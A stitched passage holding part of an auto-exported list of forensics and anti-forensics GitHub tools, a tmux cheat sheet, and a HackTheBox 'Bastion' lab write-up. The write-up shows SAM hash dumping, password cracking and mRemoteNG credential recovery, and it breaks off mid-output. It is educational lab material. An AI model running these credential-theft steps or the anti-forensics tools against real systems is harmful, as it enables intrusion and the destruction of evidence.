[thomaslaurenson/irdnumberscanner](https://github.com/thomaslaurenson/irdnumberscanner) A bulk_extractor scanner plug-in to detect and validate Inland Revenue (IRD) Numbers *** ## <a id="bd015dd7245b420dca75a267133ddce3"></a>反取证 - [**2736**星][3y] [Py] [hephaest0s/usbkill](https://github.com/hephaest0s/usbkill) 反取证开关. 监控USB端口变化, 有变化时立即关闭计算机 - [**339**星][2y] [C] [natebrune/silk-guardian](https://github.com/natebrune/silk-guardian) an anti-forensic kill-switch that waits for a change on your usb ports and then wipes your ram, deletes precious files, and turns off your computer. - [**78**星][2y] [C] [elfmaster/saruman](https://github.com/elfmaster/saruman) ELF anti-forensics exec, for injecting full dynamic executables into process image (With thread injection) - [**67**星][3y] [Shell] [trpt/usbdeath](https://github.com/trpt/usbdeath) anti-forensic tool that writes udev rules for known usb devices and do some things at unknown usb insertion or specific usb device removal - [**35**星][1y] [C] [ntraiseharderror/kaiser](https://github.com/ntraiseharderror/kaiser) Fileless persistence, attacks and anti-forensic capabilties. - [**20**星][3y] [Py] [ncatlin/lockwatcher](https://github.com/ncatlin/lockwatcher) Anti-forensic monitor program: watches for signs of tampering and purges keys/shuts everything down. - [**15**星][1y] [C#] [thereisnotime/xxusbsentinel](https://github.com/thereisnotime/xxusbsentinel) Windows anti-forensics USB monitoring tool. - [**12**星][5y] [C#] [maldevel/clearlogs](https://github.com/maldevel/clearlogs) Clear All Windows System Logs - AntiForensics - [**11**星][3y] [Shell] [phosphore/burn](https://github.com/phosphore/burn) [WIP] Anti-Forensics ToolKit to clear post-intrusion sensible logfiles *** ## <a id="9c0413531a5b5afd12b89ccdc744afbd"></a>macOS - [**3071**星][10m] [JS] [jipegit/osxauditor](https://github.com/jipegit/osxauditor) OS X Auditor is a free Mac OS X computer forensics tool - [**1695**星][6m] [Py] [yelp/osxcollector](https://github.com/yelp/osxcollector) A forensic evidence collection & analysis toolkit for OS X - [**445**星][2y] [ObjC] [aburgh/disk-arbitrator](https://github.com/aburgh/disk-arbitrator) A Mac OS X forensic utility which manages file system mounting in support of forensic procedures. - [**317**星][9m] [Py] [n0fate/chainbreaker](https://github.com/n0fate/chainbreaker) Mac OS X Keychain Forensic Tool - [**197**星][1y] [Py] [pstirparo/mac4n6](https://github.com/pstirparo/mac4n6) Collection of forensics artifacs location for Mac OS X and iOS - [**38**星][10d] [Py] [ydkhatri/macforensics](https://github.com/ydkhatri/macforensics) Scripts to process OSX forensic artifacts - [**16**星][1y] [mrmugiwara/ftk-imager-osx](https://github.com/mrmugiwara/ftk-imager-osx) FTK Imager a Forensics Tools For MAC OS X *** ## <a id="a93df189246db405e8182a42d3f7e553"></a>iOS - [**33**星][2m] [Py] [cheeky4n6monkey/ios_sysdiagnose_forensic_scripts](https://github.com/cheeky4n6monkey/ios_sysdiagnose_forensic_scripts) Scripts to parse various iOS sysdiagnose logs. Based upon the forensic research of Mattia Epifani, Heather Mahalik and Cheeky4n6monkey. - [**28**星][6y] [Py] [flo354/iosforensic](https://github.com/flo354/iosforensic) iOS forensic tool *** ## <a id="505d67a56d03c921dd19737c28c3d8fc"></a>Linux - [**320**星][5m] [HTML] [intezer/linux-explorer](https://github.com/intezer/linux-explorer) 针对Linux 系统的现场取证工具箱. Web 界面, 简单易用 - [**295**星][1y] [Shell] [sevagas/swap_digger](https://github.com/sevagas/swap_digger) a tool used to automate Linux swap analysis during post-exploitation or forensics. - [**102**星][2m] [ashemery/linuxforensics](https://github.com/ashemery/LinuxForensics) Everything related to Linux Forensics - [**36**星][4y] [Shell] [pwnagentsmith/ir_tool](https://github.com/pwnagentsmith/ir_tool) Script for Forensic on Linux - [**34**星][2y] [Py] [google/amt-forensics](https://github.com/google/amt-forensics) Retrieve Intel AMT's Audit Log from a Linux machine without knowing the admin user's password. - [**26**星][2y] [packtpublishing/digital-forensics-with-kali-linux](https://github.com/packtpublishing/digital-forensics-with-kali-linux) Digital Forensics with Kali Linux, published by Packt - [**10**星][3y] [C] [t0t3m/afkit](https://github.com/t0t3m/afkit) Anti live forensic linux LKM rootkit - [**3**星][2y] [Pascal] [esperti/nbtempox](https://github.com/esperti/nbtempox) a GNU-Linux forensic tool for making timelines (in CSV format) from block devices image files (raw, ewf,physicaldrive, etc.) # 贡献 内容为系统自动导出, 有任何问题请提issue
# Tmux 101 tmux, the terminal multiplexer, is easily one of the most used tools by the Linux community (and not just pentesters!). While not a malicious tool, tmux makes running simultaneous tasks throughout a pentest incredibly easy. ![tmux](./Tmux_cheatsheet.png) ## Getting started All tmux commands start with a keyboard button combination with control + B. ## Quick Commands - `tmux` - Start a new tmux session - `CTRL + B` + `D` - Detach from a tmux session - `tmux ls` - List all tmux sessions - `tmux new -s [session name]` - Create a new tmux session with a name - `tmux attach -t [session name]` - Attach to a tmux session - `tmux kill-session -t [session name]` - Kill a tmux session - `tmux kill-session -a` - Kill all tmux sessions - `tmux + B` + `C` - Create a new window - `tmux + B` + `[` - Copy mode - `tmux + B` + `g` - Go to top of window - `tmux + B` + `G` - Go to top of window - `tmux + B` + `q` - Exit copy mode - `tmux + B` + `%` - Split window vertically - `tmux + B` + `"` - Split window horizontally - `tmux + B` + `X` - Kill pane - `exit` - Exit session
# Bastion | August 4, 2023 ## Introduction Welcome to my another writeup! In this HackTheBox [Bastion](https://app.hackthebox.com/machines/Bastion) machine, you'll learn: Mounting Virutal Hard Disk image via `guestmount`, extracting NTLM hashes via SAM and SYSTEM files and crack them via `samdump2`, privilege escalation via mRemoteNG's insecure password storage, and more! Without further ado, let's dive in. - Overall difficulty for me (From 1-10 stars): ★★★☆☆☆☆☆☆☆ ## Table of Content 1. **[Service Enumeration](#service-enumeration)** 2. **[Initial Foothold](#initial-foothold)** 3. **[Privilege Escalation: bastion\\l4mpje to bastion\\Administrator](#privilege-escalation)** 4. **[Conclusion](#conclusion)** ## Background ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HackTheBox/Bastion/images/Bastion.png) ## Service Enumeration **Create 2 environment variables for future use:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Bastion)-[2023.08.04|13:04:09(HKT)] └> export RHOSTS=10.10.10.134 ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Bastion)-[2023.08.04|13:04:12(HKT)] └> export LHOST=`ifconfig tun0 | grep -E 'inet [0-9]+\.[0-9]+\.[0-9]+\.[0-9]' | cut -d' ' -f10` ``` As usual, scan the machine for open ports via `rustscan` and `nmap`! **Rustscan:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Bastion)-[2023.08.04|13:04:40(HKT)] └> mkdir scanning; rustscan --ulimit 5000 -b 4500 -t 2000 --range 1-65535 $RHOSTS -- -sC -sV -Pn -oN scanning/rustscan.txt [...] Open 10.10.10.134:22 Open 10.10.10.134:135 Open 10.10.10.134:139 Open 10.10.10.134:445 Open 10.10.10.134:5985 Open 10.10.10.134:47001 Open 10.10.10.134:49666 Open 10.10.10.134:49664 Open 10.10.10.134:49665 Open 10.10.10.134:49669 Open 10.10.10.134:49668 Open 10.10.10.134:49667 Open 10.10.10.134:49670 [...] PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH for_Windows_7.9 (protocol 2.0) | ssh-hostkey: | 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3bG3TRRwV6dlU1lPbviOW+3fBC7wab+KSQ0Gyhvf9Z1OxFh9v5e6GP4rt5Ss76ic1oAJPIDvQwGlKdeUEnjtEtQXB/78Ptw6IPPPPwF5dI1W4GvoGR4MV5Q6CPpJ6HLIJdvAcn3isTCZgoJT69xRK0ymPnqUqaB+/ptC4xvHmW9ptHdYjDOFLlwxg17e7Sy0CA67PW/nXu7+OKaIOx0lLn8QPEcyrYVCWAqVcUsgNNAjR4h1G7tYLVg3SGrbSmIcxlhSMexIFIVfR37LFlNIYc6Pa58lj2MSQLusIzRoQxaXO4YSp/dM1tk7CN2cKx1PTd9VVSDH+/Nq0HCXPiYh3 | 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBF1Mau7cS9INLBOXVd4TXFX/02+0gYbMoFzIayeYeEOAcFQrAXa1nxhHjhfpHXWEj2u0Z/hfPBzOLBGi/ngFRUg= | 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB34X2ZgGpYNXYb+KLFENmf0P0iQ22Q0sjws2ATjFsiN 135/tcp open msrpc syn-ack Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn 445/tcp open syn-ack Windows Server 2016 Standard 14393 microsoft-ds 5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 49664/tcp open msrpc syn-ack Microsoft Windows RPC 49665/tcp open msrpc syn-ack Microsoft Windows RPC 49666/tcp open msrpc syn-ack Microsoft Windows RPC 49667/tcp open msrpc syn-ack Microsoft Windows RPC 49668/tcp open msrpc syn-ack Microsoft Windows RPC 49669/tcp open msrpc syn-ack Microsoft Windows RPC 49670/tcp open msrpc syn-ack Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: [...] | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: Bastion | NetBIOS computer name: BASTION\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2023-08-04T07:05:47+02:00 ``` **`nmap` UDP port scan:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Bastion)-[2023.08.04|13:04:42(HKT)] └> sudo nmap -sU -Pn $RHOSTS -oN scanning/nmap-udp-top1000.txt [...] PORT STATE SERVICE 123/udp open|filtered ntp 137/udp open|filtered netbios-ns 138/udp open|filtered netbios-dgm 500/udp open|filtered isakmp 4500/udp open|filtered nat-t-ike 5050/udp open|filtered mmcc 5353/udp open|filtered zeroconf 5355/udp open|filtered llmnr ``` According to `rustscan` and `nmap` result, the target machine has 13 port are opened: |Open Port | Service | |:---: |:---: | |22/TCP | OpenSSH for_Windows_7.9 | |135/TCP, 49664/TCP, 49665/TCP, 49666/TCP, 49667/TCP, 49668/TCP, 49669/TCP, 49670/TCP| RPC| |139/TCP | NetBIOS | |445/TCP | SMB | |5985/TCP, 47001/TCP| WinRM | ### SMB on TCP port 445 **Enumerate shares as `Guest` user:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Bastion)-[2023.08.04|13:07:18(HKT)] └> smbmap -H $RHOSTS -u 'Guest' -p '' [+] IP: 10.10.10.134:445 Name: 10.10.10.134 Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin Backups READ, WRITE C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC ``` - Non-default share: `Backups` **Check share `Backups`:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Bastion)-[2023.08.04|13:07:55(HKT)] └> smbclient //$RHOSTS/Backups Password for [WORKGROUP\siunam]: Try "help" to get a list of possible commands. smb: \> dir . D 0 Fri Aug 4 13:07:20 2023 .. D 0 Fri Aug 4 13:07:20 2023 note.txt AR 116 Tue Apr 16 18:10:09 2019 SDT65CB.tmp A 0 Fri Feb 22 20:43:08 2019 WindowsImageBackup Dn 0 Fri Feb 22 20:44:02 2019 [...] ``` **`note.txt`:** ```shell smb: \> get note.txt getting file \note.txt of size 116 as note.txt (0.7 KiloBytes/sec) (average 0.7 KiloBytes/sec) ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Bastion)-[2023.08.04|13:08:38(HKT)] └> cat note.txt Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow. ``` **Interesting things in `WindowsImageBackup\`:** ```shell smb: \> dir WindowsImageBackup\ . Dn 0 Fri Feb 22 20:44:02 2019 .. Dn 0 Fri Feb 22 20:44:02 2019 L4mpje-PC Dn 0 Fri Feb 22 20:45:32 2019 5638911 blocks of size 4096. 1178813 blocks available smb: \> dir WindowsImageBackup\L4mpje-PC\ . Dn 0 Fri Feb 22 20:45:32 2019 .. Dn 0 Fri Feb 22 20:45:32 2019 Backup 2019-02-22 124351 Dn 0 Fri Feb 22 20:45:32 2019 Catalog Dn 0 Fri Feb 22 20:45:32 2019 MediaId An 16 Fri Feb 22 20:44:02 2019 SPPMetadataCache Dn 0 Fri Feb 22 20:45:32 2019 ``` Looks like it's a backup Windows image for host `L4mpje-PC`. ```shell smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\> dir . Dn 0 Fri Feb 22 20:45:32 2019 .. Dn 0 Fri Feb 22 20:45:32 2019 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd An 37761024 Fri Feb 22 20:44:03 2019 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd An 5418299392 Fri Feb 22 20:45:32 2019 BackupSpecs.xml An 1186 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml An 1078 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml An 8930 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml An 6542 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml An 2894 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml An 1488 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml An 1484 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml An 3844 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml An 3988 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml An 7110 Fri Feb 22 20:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml An 2374620 Fri Feb 22 20:45:32 2019 [...] ``` ## Initial Foothold However, according to the sysadmins in `note.txt`, we shouldn't download the entire backup files locally. **So, we can just mount the SMB share to our attacker machine:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Bastion)-[2023.08.04|14:20:08(HKT)] └> sudo mkdir /mnt/smb ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Bastion)-[2023.08.04|14:20:30(HKT)] └> sudo mount //$RHOSTS/Backups /mnt/smb Password for root@//10.10.10.134/Backups: ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Bastion)-[2023.08.04|14:21:02(HKT)] └> ls -lah /mnt/smb total 8.5K drwxr-xr-x 2 root root 4.0K Aug 4 13:07 . drwxr-xr-x 4 root root 4.0K Aug 4 14:20 .. -r-xr-xr-x 1 root root 116 Apr 16 2019 note.txt -rwxr-xr-x 1 root root 0 Feb 22 2019 SDT65CB.tmp drwxr-xr-x 2 root root 0 Feb 22 2019 WindowsImageBackup ``` **Then, in the `WindowsImageBackup` directory, we found 2 `.vhd` files, which are Virtual Hard Disk image:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Bastion)-[2023.08.04|14:21:41(HKT)] └> file /mnt/smb/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/*.vhd /mnt/smb/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd: Microsoft Disk Image, Virtual Server or Virtual PC, Creator vsim 1.1 (W2k) Fri Feb 22 12:44:00 2019, 104970240 bytes, CHS 1005/12/17, State 0x1 /mnt/smb/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd: Microsoft Disk Image, Virtual Server or Virtual PC, Creator vsim 1.1 (W2k) Fri Feb 22 12:44:01 2019, 15999492096 bytes, CHS 31001/16/63, State 0x1 ``` In Windows, users can backup the entire system and saved it as a `.vhd` file. **According to [HackTricks](https://book.hacktricks.xyz/linux-hardening/useful-linux-commands#common-bash), we can use `guestmount` to mount the Windows disk image:** ```sh sudo apt-get install libguestfs-tools guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd ``` **Mount the largest images:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Bastion)-[2023.08.04|14:22:47(HKT)] └> sudo mkdir /mnt/vhd ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Bastion)-[2023.08.04|14:29:10(HKT)] └> sudo guestmount --add /mnt/smb/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/vhd ``` ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Bastion)-[2023.08.04|14:31:21(HKT)] └> sudo zsh ┌[root♥Mercury]-(/home/siunam/ctf/htb/Machines/Bastion)-[2023.08.04|14:31:22(HKT)] └> cd /mnt/vhd ┌[root♥Mercury]-(/mnt/vhd)-[2023.08.04|14:31:30(HKT)] └> ls -lah total 2.0G drwxrwxrwx 1 root root 12K Feb 22 2019 . drwxr-xr-x 4 root root 4.0K Aug 4 14:22 .. drwxrwxrwx 1 root root 0 Feb 22 2019 '$Recycle.Bin' -rwxrwxrwx 1 root root 24 Jun 11 2009 autoexec.bat -rwxrwxrwx 1 root root 10 Jun 11 2009 config.sys lrwxrwxrwx 2 root root 14 Jul 14 2009 'Documents and Settings' -> /sysroot/Users -rwxrwxrwx 1 root root 2.0G Feb 22 2019 pagefile.sys drwxrwxrwx 1 root root 0 Jul 14 2009 PerfLogs drwxrwxrwx 1 root root 4.0K Jul 14 2009 ProgramData drwxrwxrwx 1 root root 4.0K Apr 12 2011 'Program Files' drwxrwxrwx 1 root root 0 Feb 22 2019 Recovery drwxrwxrwx 1 root root 4.0K Feb 22 2019 'System Volume Information' drwxrwxrwx 1 root root 4.0K Feb 22 2019 Users drwxrwxrwx 1 root root 16K Feb 22 2019 Windows ``` We can now explore the backup image's file system! **Enumerate user `L4mpje` user profile:** ```shell ┌[root♥Mercury]-(/mnt/vhd)-[2023.08.04|14:33:28(HKT)] └> ls -lah Users/L4mpje/Desktop total 8.5K drwxrwxrwx 1 root root 0 Feb 22 2019 . drwxrwxrwx 1 root root 8.0K Feb 22 2019 .. -rwxrwxrwx 1 root root 282 Feb 22 2019 desktop.ini ┌[root♥Mercury]-(/mnt/vhd)-[2023.08.04|14:33:35(HKT)] └> ls -lah Users/L4mpje/Downloads total 8.5K drwxrwxrwx 1 root root 0 Feb 22 2019 . drwxrwxrwx 1 root root 8.0K Feb 22 2019 .. -rwxrwxrwx 1 root root 282 Feb 22 2019 desktop.ini ┌[root♥Mercury]-(/mnt/vhd)-[2023.08.04|14:33:37(HKT)] └> ls -lah Users/L4mpje/Documents total 13K drwxrwxrwx 1 root root 4.0K Feb 22 2019 . drwxrwxrwx 1 root root 8.0K Feb 22 2019 .. -rwxrwxrwx 1 root root 402 Feb 22 2019 desktop.ini lrwxrwxrwx 2 root root 27 Feb 22 2019 'My Music' -> /sysroot/Users/L4mpje/Music lrwxrwxrwx 2 root root 30 Feb 22 2019 'My Pictures' -> /sysroot/Users/L4mpje/Pictures lrwxrwxrwx 2 root root 28 Feb 22 2019 'My Videos' -> /sysroot/Users/L4mpje/Videos ``` Nothing weird. Since we have access to all the files in this Windows image, we can try to hunt for passwords. According to [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#sam-and-system-files), we can try finding **SAM and SYSTEM files**. > Note: The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in `%SystemRoot%/system32/config/SAM` and is mounted on `HKLM/SAM`. **Usually the SAM and SYSTEM files will be at:** ``` # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM %SYSTEMROOT%\System32\config\SAM %SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` **After enumerating those directories, we found the SAM and SYSTEM files are at `%SYSTEMROOT%\System32\config\`:** ```shell ┌[root♥Mercury]-(/mnt/vhd)-[2023.08.04|14:39:15(HKT)] └> file Windows/System32/config/SYSTEM Windows/System32/config/SYSTEM: MS Windows registry file, NT/2000 or above ┌[root♥Mercury]-(/mnt/vhd)-[2023.08.04|14:39:17(HKT)] └> file Windows/System32/config/SAM Windows/System32/config/SAM: MS Windows registry file, NT/2000 or above ``` **Then, generate a hash file for `john` using `samdump2`:** ```shell ┌[root♥Mercury]-(/mnt/vhd)-[2023.08.04|14:40:15(HKT)] └> samdump2 Windows/System32/config/SYSTEM Windows/System32/config/SAM -o /home/siunam/ctf/htb/Machines/Bastion/sam.txt ┌[root♥Mercury]-(/mnt/vhd)-[2023.08.04|14:40:59(HKT)] └> cat /home/siunam/ctf/htb/Machines/Bastion/sam.txt *disabled* Administrator:500:{Redacted}:{Redacted}::: *disabled* Guest:501:{Redacted}:{Redacted}::: L4mpje:1000:{Redacted}:{Redacted}::: ``` As you can see, there's a `L4mpje`'s NTLM hash! **Next, we can then crack it via `john`:** ```shell ┌[root♥Mercury]-(/mnt/vhd)-[2023.08.04|14:42:06(HKT)] └> john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT /home/siunam/ctf/htb/Machines/Bastion/sam.txt [...] {Redacted} (L4mpje) [...] ``` Cracked! **We can now verify the credentials is correct via SMB share listing with user `L4mpje` credentials:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Bastion)-[2023.08.04|14:42:44(HKT)] └> smbclient -L //$RHOSTS/ -U 'L4mpje' Password for [WORKGROUP\L4mpje]: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin Backups Disk C$ Disk Default share IPC$ IPC Remote IPC [...] ``` It's correct! **Since SSH and WinRM is available on the target machine, we can try to SSH to user `L4mpje`:** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Bastion)-[2023.08.04|14:43:47(HKT)] └> ssh L4mpje@$RHOSTS [email protected]'s password: [...] l4mpje@BASTION C:\Users\L4mpje>whoami && ipconfig /all bastion\l4mpje Windows IP Configuration Host Name . . . . . . . . . . . . : Bastion Primary Dns Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No Ethernet adapter Ethernet0: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection Physical Address. . . . . . . . . : 00-50-56-B9-87-18 DHCP Enabled. . . . . . . . . . . : No Autoconfiguration Enabled . . . . : Yes Link-local IPv6 Address . . . . . : fe80::1df8:cf16:33a:98f9%4(Preferred) IPv4 Address. . . . . . . . . . . : 10.10.10.134(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.10.10.2 DHCPv6 IAID . . . . . . . . . . . : 100683862 DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-24-01-96-CA-08-00-27-0A-7D-93 DNS Servers . . . . . . . . . . . : 10.10.10.2 [...] ``` I'm user `bastion\l4mpje`! **user.txt:** ```shell l4mpje@BASTION C:\Users\L4mpje\Desktop>type user.txt {Redacted} ``` ## Privilege Escalation ### bastion\\l4mpje to bastion\\Administrator After gaining initial foothold on the target machine, we can escalate our privilege. To do so, we need to enumerate the system. **Local users:** ```shell l4mpje@BASTION C:\Users\L4mpje>net user [...] ------------------------------------------------------------------------------- Administrator DefaultAccount Guest L4mpje ``` - Non-default local user: `L4mpje` **User `L4mpje` details:** ```shell l4mpje@BASTION C:\Users\L4mpje>net user L4mpje User name L4mpje Full Name L4mpje [...] Local Group Memberships *Users Global Group memberships *None ``` No other group membership other than the default `Users`. **System information:** ```shell l4mpje@BASTION C:\Users\L4mpje>systeminfo ERROR: Access denied ``` Hmm... Access denied... Maybe the system is harden, so that low privilege users can't use a certain commands. **After I enumerated installed software, I found something stands out:** ```shell l4mpje@BASTION C:\Users\L4mpje>dir "C:\Program Files (x86)" [...] 16-07-2016 15:23 <DIR> Common Files 23-02-2019 10:38 <DIR> Internet Explorer 16-07-2016 15:23 <DIR> Microsoft.NET 22-02-2019 15:01 <DIR> mRemoteNG 23-02-2019 11:22 <DIR> Windows Defender 23-02-2019 10:38 <DIR> Windows Mail 23-02-2019 11:22 <DIR> Windows Media Player 16-07-2016 15:23 <DIR> Windows Multimedia Platform 16-07-2016 15:23 <DIR> Windows NT 23-02-2019 11:22 <DIR> Windows Photo Viewer 16-07-2016 15:23 <DIR> Windows Portable Devices 16-07-2016 15:23 <DIR> WindowsPowerShell ``` The `mRemoteNG` is kinda sussy. According to [mRemoteNG](https://mremoteng.org/), it's a fork of mRemote: an open source, tabbed, multi-protocol, remote connections manager for Windows. mRemoteNG adds bug fixes and new features to mRemote and allows you to view all of your remote connections in a simple yet powerful tabbed interface. ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HackTheBox/Bastion/images/Pasted%20image%2020230804160810.png) **Hmm... Maybe there's a vulnerability that allows us to escalate our privilege to a higher one?** **After fumbling around in the `AppData` directory, I found that the mRemoteNG version is `1.76.11.40527`:** ```shell l4mpje@BASTION C:\Users\L4mpje>dir C:\Users\L4mpje\Appdata\Local\mRemoteNG\mRemoteNG.exe_Url_pjpxdehxpaaorq g2thmuhl11a34i3ave Volume in drive C has no label. Volume Serial Number is 1B7D-E692 Directory of C:\Users\L4mpje\Appdata\Local\mRemoteNG\mRemoteNG.exe_Url_pjpxdehxpaaorqg2thmuhl11a34i3ave 22-02-2019 15:01 <DIR> . 22-02-2019 15:01 <DIR> .. 22-02-2019 15:03 <DIR> 1.76.11.40527 ``` However, it seems like there's no vulnerability that we can leverage. **Then, in [mRemoteNG's GitHub repository's releases](https://github.com/mRemoteNG/mRemoteNG/releases?page=2), version `1.76.11` is released at Oct 19, 2018:** ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HackTheBox/Bastion/images/Pasted%20image%2020230804154041.png) **In the next version, there's an interesting issue:** ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HackTheBox/Bastion/images/Pasted%20image%2020230804154137.png) Hmm... I wonder **how mRemoteNG stores remote connections' password**... After searching "mRemoteNG password decrypt", I found [this GitHub repository](https://github.com/kmahyyg/mremoteng-decrypt). In there, we can use the ``mremoteng_decrypt.py`` Python script to decrypt mRemoteNG passwords. **In `AppData\Roaming`, we can also find mRemoteNG's user configurations:** ```shell l4mpje@BASTION C:\Users\L4mpje>dir %APPDATA%\mRemoteNG [...] 22-02-2019 15:03 6.316 confCons.xml 22-02-2019 15:02 6.194 confCons.xml.20190222-1402277353.backup 22-02-2019 15:02 6.206 confCons.xml.20190222-1402339071.backup 22-02-2019 15:02 6.218 confCons.xml.20190222-1402379227.backup 22-02-2019 15:02 6.231 confCons.xml.20190222-1403070644.backup 22-02-2019 15:03 6.319 confCons.xml.20190222-1403100488.backup 22-02-2019 15:03 6.318 confCons.xml.20190222-1403220026.backup 22-02-2019 15:03 6.315 confCons.xml.20190222-1403261268.backup 22-02-2019 15:03 6.316 confCons.xml.20190222-1403272831.backup 22-02-2019 15:03 6.315 confCons.xml.20190222-1403433299.backup 22-02-2019 15:03 6.316 confCons.xml.20190222-1403486580.backup [...] ``` **`confCons.xml`:** ```xml <?xml version="1.0" encoding="utf-8"?> <mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GCM" KdfIterations="1000" FullFileEncryption="false" Protected="ZSvKI7j224Gf/twXpaP5G2QFZMLr1iO1f5JKdtIKL6eUg+eWkL5tKO886au0ofFPW0oop8R8ddXKAx4KK7sAk6AA" ConfVersion="2.6"> <Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Username="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/{Redacted}==" Hostname="127.0.0.1" Protocol="RDP"[...] ``` In here, we can see that user `Administrator`'s RDP (Remote Desktop Protocol) connection to `127.0.0.1`'s password is encrypted via AES GCM mode. **Armed with above information, we can decrypt `Administrator`'s password!** ```shell ┌[siunam♥Mercury]-(~/ctf/htb/Machines/Bastion)-[2023.08.04|16:16:02(HKT)] └> python3 mremoteng_decrypt.py --help usage: mremoteng_decrypt.py [-h] [-f FILE | -rf REALFILE | -s STRING] [-p PASSWORD] [-L LEGACY] Decrypt 